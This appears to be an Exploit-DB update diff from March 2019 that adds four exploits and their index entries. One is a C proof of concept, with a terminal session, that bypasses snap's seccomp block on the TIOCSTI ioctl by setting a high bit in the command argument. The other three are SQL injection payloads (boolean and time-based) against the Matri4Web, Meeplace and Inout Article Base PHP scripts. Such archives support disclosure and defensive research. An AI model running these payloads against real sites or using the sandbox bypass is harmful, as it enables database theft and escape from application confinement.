DB: 2019-03-23

4 changes to exploits/shellcodes

snap - seccomp BBlacklist for TIOCSTI can be Circumvented
Matri4Web Matrimony Website Script - Multiple SQL Injection
Meeplace Business Review Script - 'id' SQL Injection
Inout Article Base CMS - SQL Injection

exploits/linux/dos/46594.c

@@ -0,0 +1,78 @@
+/*
+snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the
+source code, this filter is expressed as follows:
+
+  # TIOCSTI allows for faking input (man tty_ioctl)
+  # TODO: this should be scaled back even more
+  ioctl - !TIOCSTI
+
+In the X86-64 version of the compiled seccomp filter, this results in the
+following BPF bytecode:
+
+  [...]
+  0139 if nr == 0x00000010: [true +0, false +3]
+  013b   if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)
+  0299   if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO
+  030a   ret ALLOW (syscalls: ioctl)
+  [...]
+
+This bytecode performs a 64-bit comparison; however, the syscall entry point for
+ioctl() is defined with a 32-bit command argument in the kernel:
+
+SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
+{
+  return ksys_ioctl(fd, cmd, arg);
+}
+
+This means that setting a bit in the high half of the command parameter will
+circumvent the seccomp filter while being ignored by the kernel.
+
+This can be tested as follows on Ubuntu 18.04. You might have to launch the
+GNOME calculator once first to create the snap directory hierarchy, I'm not
+sure.
+
+====================================================================
+user@ubuntu-18-04-vm:~$ cat tiocsti.c
+*/
+
+#define _GNU_SOURCE
+#include <termios.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <sys/syscall.h>
+#include <errno.h>
+
+static int ioctl64(int fd, unsigned long nr, void *arg) {
+  errno = 0;
+  return syscall(__NR_ioctl, fd, nr, arg);
+}
+
+int main(void) {
+  int res;
+  char pushmeback = '#';
+  res = ioctl64(0, TIOCSTI, &pushmeback);
+  printf("normal TIOCSTI: %d (%m)\n", res);
+  res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);
+  printf("high-bit-set TIOCSTI: %d (%m)\n", res);
+}
+
+/*
+user@ubuntu-18-04-vm:~$ gcc -o tiocsti tiocsti.c -Wall
+user@ubuntu-18-04-vm:~$ ./tiocsti
+#normal TIOCSTI: 0 (Success)
+#high-bit-set TIOCSTI: 0 (Success)
+user@ubuntu-18-04-vm:~$ ##
+user@ubuntu-18-04-vm:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti
+user@ubuntu-18-04-vm:~$ snap run --shell gnome-calculator
+[...]
+user@ubuntu-18-04-vm:/home/user$ cd
+user@ubuntu-18-04-vm:~$ ./tiocsti
+normal TIOCSTI: -1 (Operation not permitted)
+#high-bit-set TIOCSTI: 0 (Success)
+user@ubuntu-18-04-vm:~$ #
+user@ubuntu-18-04-vm:~$ pwd
+/home/user/snap/gnome-calculator/260
+user@ubuntu-18-04-vm:~$ 
+====================================================================
+*/

exploits/php/webapps/46591.txt

@@ -0,0 +1,43 @@
+# Exploit Title: Matrimony Website Script - Multiple SQL Injection
+# Date: 22.03.2019
+# Exploit Author: Ahmet Ümit BAYRAM
+# Vendor Homepage: https://www.matri4web.com
+# Demo Site: https://www.matrimonydemo.com
+# Version: M-Plus
+# Tested on: Kali Linux
+# CVE: N/A
+
+----- PoC 1: SQLi -----
+
+Request: http://localhost/[PATH]/simplesearch_results.php
+Vulnerable Parameter: txtGender (POST)
+Attack Pattern:
+Fage=18&Tage=18&caste=Any&religion=Any&submit=Submit&txtGender=-1'%20OR%203*2*1=6%20AND%20000715=000715%20--%20&txtphoto=1&txtprofile=0
+
+----- PoC 2: SQLi -----
+
+Request: http://localhost/[PATH]/advsearch_results.php
+Vulnerable Parameter: religion (POST)
+Attack Pattern:
+age1=18&age2=18&caste[]=Any&cboCountry[]=&city[]=Any&edu[]=Any&ms=Unmarried&occu[]=Any&religion=-1'%20OR%203*2*1=6%20AND%20000723=000723%20--%20&state[]=Any&submit=Submit&txtGender=Male&txtphoto=Show%20profiles%20with%20Photo
+
+----- PoC 3 - SQLi -----
+
+Request: http://localhost/[PATH]/specialcase_results.php
+Vulnerable Parameter: Fage
+Attack Pattern:
+Fage=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/&Tage=18&caste=Any&religion=Any&sp_cs=Any&submit=Submit&txtGender=Male&txtphoto=Show%20profiles%20with%20Photo&txtprofile=7
+
+----- PoC 4 - SQLi -----
+
+Request: http://localhost/[PATH]/locational_results.php
+Vulnerable Parameter: cboCountry (POST)
+Attack Pattern:
+Fage=18&Tage=18&cboCountry=-1'%20OR%203*2*1=6%20AND%20000567=000567%20--%20&cboState=Any&city=Any&submit=Submit&txtCountry=Argentina&txtCountryLength=9&txtGender=Male&txtNumCountries=251&txtNumStates=25&txtSelectedCountry=9&txtSelectedState=10&txtState=Entre%20Rios&txtStateLength=10&txtphoto=Show%20profiles%20with%20Photo
+
+----- PoC 5 - SQLi -----
+
+Request: http://localhost/[PATH]/registration2.php
+Vulnerable Parameter: religion (POST)
+Attack Pattern:
+EMAILconfirm=sample%40email.tst&Language=&dobDay=&dobMonth=&dobYear=&religion=-1'%20OR%203*2*1=6%20AND%20000830=000830%20--%20&submit=Submit&txtAccept=I%20Accept%20%20the%20Terms%20and%20Conditions&txtGender=Male&txtMC=&txtMobile=987-65-4329&txtName=FtkKDgHs&txtPC=Self&txtcp=1

exploits/php/webapps/46592.txt

@@ -0,0 +1,15 @@
+# Exploit Title: Meeplace Business Review Script - 'id' SQL Injection
+# Date: 22.03.2019
+# Dork:
+# Exploit Author: Ahmet Ümit BAYRAM
+# Vendor Homepage: http://www.meeplace.com
+# Demo Site: http://demo.meeplace.com
+# Version: Lastest
+# Tested on: Kali Linux
+# CVE: N/A
+
+----- PoC: SQLi -----
+
+# Request: http://localhost/[PATH]/ad/addclick.php?&id=1
+# Vulnerable Parameter: id (GET)
+# Payload: &id=1 RLIKE (SELECT * FROM (SELECT(SLEEP(5)))qcFZ)

exploits/php/webapps/46593.txt

@@ -0,0 +1,22 @@
+# Exploit Title: Inout Article Base CMS - SQL Injection
+# Date: 21.03.2019
+# Exploit Author: Ahmet Ümit BAYRAM
+# Vendor Homepage: https://www.inoutscripts.com/products/inout-article-base/
+# Demo Site: http://www.inoutwebportal.com
+# Version: Lastest
+# Tested on: Kali Linux
+# CVE: N/A
+
+----- PoC 1: SQLi -----
+
+Request: http://localhost/[PATH]/articles/portalLogin.php
+Vulnerable Parameter: p (GET)
+Attack Pattern:
+http://locahost/[PATH]/articles/portalLogin.php?d=65ded5353c5ee48d0b7d48c591b8f430&p=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&u=test
+
+----- PoC 2: SQLi -----
+
+Request: http://localhost/[PATH]/articles/portalLogin.php
+Vulnerable Parameter: u (GET)
+Attack Pattern:
+http://locahost/[PATH]/articles/portalLogin.php?d=65ded5353c5ee48d0b7d48c591b8f430&p=fe01ce2a7fbac8fafaed7c982a04e229&u=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z

files_exploits.csv

@@ -6367,6 +6367,7 @@ id,file,description,date,author,type,platform,port
 46570,exploits/multiple/dos/46570.txt,"Google Chrome < M73 - MidiManagerWin Use-After-Free",2019-03-19,"Google Security Research",dos,multiple,
 46571,exploits/multiple/dos/46571.txt,"Google Chrome < M73 - FileSystemOperationRunner Use-After-Free",2019-03-19,"Google Security Research",dos,multiple,
 46589,exploits/windows/dos/46589.php,"Canarytokens 2019-03-01 - Detection Bypass",2019-03-21,"Gionathan Reale",dos,windows,
+46594,exploits/linux/dos/46594.c,"snap - seccomp BBlacklist for TIOCSTI can be Circumvented",2019-03-22,"Google Security Research",dos,linux,
 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@@ -41033,3 +41034,6 @@ id,file,description,date,author,type,platform,port
 46587,exploits/php/webapps/46587.txt,"uHotelBooking System - 'system_page' SQL Injection",2019-03-21,"Ahmet Ümit BAYRAM",webapps,php,80
 46588,exploits/php/webapps/46588.txt,"Placeto CMS Alpha v4 - 'page' SQL Injection",2019-03-21,"Abdullah Çelebi",webapps,php,80
 46590,exploits/php/webapps/46590.txt,"Bootstrapy CMS - Multiple SQL Injection",2019-03-21,"Ahmet Ümit BAYRAM",webapps,php,80
+46591,exploits/php/webapps/46591.txt,"Matri4Web Matrimony Website Script - Multiple SQL Injection",2019-03-22,"Ahmet Ümit BAYRAM",webapps,php,80
+46592,exploits/php/webapps/46592.txt,"Meeplace Business Review Script - 'id' SQL Injection",2019-03-22,"Ahmet Ümit BAYRAM",webapps,php,80
+46593,exploits/php/webapps/46593.txt,"Inout Article Base CMS - SQL Injection",2019-03-22,"Ahmet Ümit BAYRAM",webapps,php,80